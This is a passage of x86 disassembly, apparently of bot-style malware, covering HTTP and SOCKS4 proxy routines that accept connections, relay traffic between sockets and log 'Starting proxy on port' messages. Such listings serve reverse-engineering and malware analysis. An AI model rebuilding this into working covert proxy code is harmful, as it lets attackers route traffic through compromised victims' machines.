		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226


loc_429310:				; CODE XREF: sub_4282C0+85j
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429339:				; CODE XREF: sub_4282C0+503j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42934B:				; CODE XREF: sub_4282C0+644j
		lea	ecx, [esp+2Ch+arg_9D]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+30h+var_18]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+2Ch+var_18]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+34h+var_18]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_4293A8:				; CODE XREF: sub_4282C0+660j
		mov	edx, [esp+38h+arg_D0]
		lea	ecx, [esp+38h+arg_91]
		push	edx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_4293F2:				; CODE XREF: sub_4282C0+711j
					; sub_4282C0+719j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_42940D:				; CODE XREF: sub_4282C0+5EEj
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42941F:				; CODE XREF: sub_4282C0+73Fj
		lea	ecx, [esp+48h+arg_3C]
		mov	byte ptr [esp+48h+arg_5454], 0Dh
		call	sub_401226
		lea	ecx, [esp+48h+arg_14]
		mov	byte ptr [esp+48h+arg_5454], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+48h+arg_5454], 2
		call	sub_401226
		lea	ecx, [esp+48h+var_18]
		mov	byte ptr [esp+48h+arg_5454], 1
		call	sub_401226
		lea	ecx, [esp+48h+var_34]
		mov	byte ptr [esp+48h+arg_5454], 0
		call	sub_401226
		lea	ecx, [esp+48h+arg_6C]
		mov	[esp+48h+arg_5454], ebx
		call	sub_4014B0
		or	esi, 0FFFFFFFFh
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429492:				; CODE XREF: sub_4282C0+D45j
					; sub_4282C0+D4Dj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_4294A8:				; CODE XREF: sub_4282C0+10E3j
					; sub_4282C0+1148j
		call	esi	; closesocket


loc_4294AA:				; CODE XREF: sub_4282C0+1086j
					; sub_4282C0+115Aj
		lea	ecx, [esp+50h+arg_34]
		mov	byte ptr [esp+50h+arg_544C], 0Dh
		call	sub_401226
		lea	ecx, [esp+50h+arg_C]
		mov	byte ptr [esp+50h+arg_544C], 0Ch
		call	sub_401226
		lea	ecx, [esp+50h+var_8]
		mov	byte ptr [esp+50h+arg_544C], 2
		call	sub_401226
		lea	ecx, [esp+50h+var_20]
		mov	byte ptr [esp+50h+arg_544C], 1
		call	sub_401226
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+arg_544C], 0
		call	sub_401226
		lea	ecx, [esp+50h+arg_64]
		mov	[esp+50h+arg_544C], ebx
		call	sub_4014B0
		jmp	loc_4292C4
sub_4282C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4299C0	proc near		; CODE XREF: sub_4018DEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4299C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E15C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4299C0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429A30:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402108
		test	byte ptr [esp+8], 1
		jz	short loc_429A48
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429A48:				; CODE XREF: ___:00429A3Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429A60	proc near		; CODE XREF: sub_402108j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43E15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_429A7B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_429A7B:				; CODE XREF: sub_429A60+12j
		mov	ecx, esi
		call	sub_40179E
		pop	esi
		retn
sub_429A60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429AA0	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_429AC3:				; CODE XREF: sub_429AA0+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_429AEA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_429AC3


loc_429AEA:				; CODE XREF: sub_429AA0+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_429BBC
		push	ebp
		push	esi


loc_429B00:				; CODE XREF: sub_429AA0+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_429B9B
		test	ebp, ebp
		jz	short loc_429B9B
		push	0C3h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_429B46
		mov	ecx, eax
		call	sub_401884
		mov	esi, eax
		jmp	short loc_429B48
; ---------------------------------------------------------------------------


loc_429B46:				; CODE XREF: sub_429AA0+99j
		xor	esi, esi


loc_429B48:				; CODE XREF: sub_429AA0+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FBE
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013D4
		jmp	short loc_429BA6
; ---------------------------------------------------------------------------


loc_429B9B:				; CODE XREF: sub_429AA0+74j
					; sub_429AA0+7Cj
		push	0FAh
		call	near ptr 2821EEEh
		nop


loc_429BA6:				; CODE XREF: sub_429AA0+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_429B00
		pop	esi
		pop	ebp


loc_429BBC:				; CODE XREF: sub_429AA0+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_429BCE
		push	edi
		nop
		call	near ptr 71AB9639h


loc_429BCE:				; CODE XREF: sub_429AA0+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429AA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429C30	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_429C58
		call	sub_4017E4
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_429C63
; ---------------------------------------------------------------------------


loc_429C58:				; CODE XREF: sub_429C30+19j
		call	sub_4017E4
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_429C63:				; CODE XREF: sub_429C30+26j
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_429C30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429D00	proc near		; CODE XREF: sub_40211Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429D00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E16C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429D00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429D70:				; CODE XREF: ___:00401870j
					; ___:loc_401B04j
		push	esi
		mov	esi, ecx
		call	sub_401F87
		test	byte ptr [esp+8], 1
		jz	short loc_429D88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429D88:				; CODE XREF: ___:00429D7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429DA0	proc near		; CODE XREF: sub_401F87j
		jmp	sub_40179E
sub_429DA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429DC0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_50FC90
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429E01
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E01:				; CODE XREF: sub_429DC0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_429FEC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429E3E
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E3E:				; CODE XREF: sub_429DC0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_429FEC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_429ED9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0A1h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429ED9:				; CODE XREF: sub_429DC0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_50FC50
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_429F36:				; CODE XREF: sub_429DC0+1AFj
					; sub_429DC0+1FEj ...
		mov	edi, dword_50FC90
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_429FDA
		jge	short loc_429F71
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_429F71
		push	0Ah
		call	near ptr 2821EEEh
		nop
		jmp	short loc_429F36
; ---------------------------------------------------------------------------


loc_429F71:				; CODE XREF: sub_429DC0+198j
					; sub_429DC0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_429FDA
		jge	short loc_429FC3
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_429FC3
		push	0Ah
		call	near ptr 2821EEEh
		nop
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FC3:				; CODE XREF: sub_429DC0+1E7j
					; sub_429DC0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		call	near ptr 71AB428Ah
		nop
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FDA:				; CODE XREF: sub_429DC0+192j
					; sub_429DC0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_429FEC:				; CODE XREF: sub_429DC0+46j
					; sub_429DC0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_429DC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A090	proc near		; CODE XREF: sub_40216Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42A090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E17C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42A090	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A100	proc near		; CODE XREF: ___:00401032j sub_4017A8j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C3A
		test	[esp+4+arg_0], 1
		jz	short loc_42A118
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42A118:				; CODE XREF: sub_42A100+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42A100	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42A130	proc near		; CODE XREF: sub_401C3Aj
		jmp	sub_40179E
sub_42A130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A150	proc near		; CODE XREF: sub_40188Ej

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42A150
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017E4
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42A359
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42A226
		mov	ecx, [esi+9Dh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42A226:				; CODE XREF: sub_42A150+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42A310


loc_42A23C:				; CODE XREF: sub_42A150+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42A260
		push	0FAh
		nop
		call	near ptr 2821EEEh
		jmp	loc_42A2FC
; ---------------------------------------------------------------------------


loc_42A260:				; CODE XREF: sub_42A150+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42A310
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42A310
		push	0A5h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42A2AE
		mov	ecx, eax
		call	sub_40211C
		mov	edi, eax


loc_42A2AE:				; CODE XREF: sub_42A150+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42A2FC:				; CODE XREF: sub_42A150+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42A23C


loc_42A310:				; CODE XREF: sub_42A150+E6j
					; sub_42A150+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42A324
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42A324:				; CODE XREF: sub_42A150+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch


loc_42A359:				; CODE XREF: sub_42A150+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42A150	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A400	proc near		; CODE XREF: sub_40174Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42A421
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42A421:				; CODE XREF: sub_42A400+Dj
		xor	al, al
		retn	8
sub_42A400	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A440	proc near		; CODE XREF: sub_4020C2j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42A461:				; CODE XREF: sub_42A440+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A47A:				; CODE XREF: sub_42A440+45j
		cmp	[ecx], ebx
		jz	short loc_42A487
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A47A


loc_42A487:				; CODE XREF: sub_42A440+3Cj
		cmp	eax, 1
		jnz	short loc_42A498
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42A498:				; CODE XREF: sub_42A440+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jbe	short loc_42A523
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A523
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42A4CC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42A4CE
; ---------------------------------------------------------------------------


loc_42A4CC:				; CODE XREF: sub_42A440+84j
		mov	eax, ebx


loc_42A4CE:				; CODE XREF: sub_42A440+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42A572
		test	edi, edi
		jz	short loc_42A572
		jbe	short loc_42A51C


loc_42A4FB:				; CODE XREF: sub_42A440+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A572
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42A4FB


loc_42A51C:				; CODE XREF: sub_42A440+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42A523:				; CODE XREF: sub_42A440+70j
					; sub_42A440+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A535:				; CODE XREF: sub_42A440+100j
		cmp	[ecx], ebx
		jz	short loc_42A542
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A535


loc_42A542:				; CODE XREF: sub_42A440+F7j
		cmp	eax, 1
		jnz	short loc_42A554
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42A554:				; CODE XREF: sub_42A440+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42A461


loc_42A572:				; CODE XREF: sub_42A440+B3j
					; sub_42A440+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42A440	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A5F0	proc near		; CODE XREF: sub_401C1Cj

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
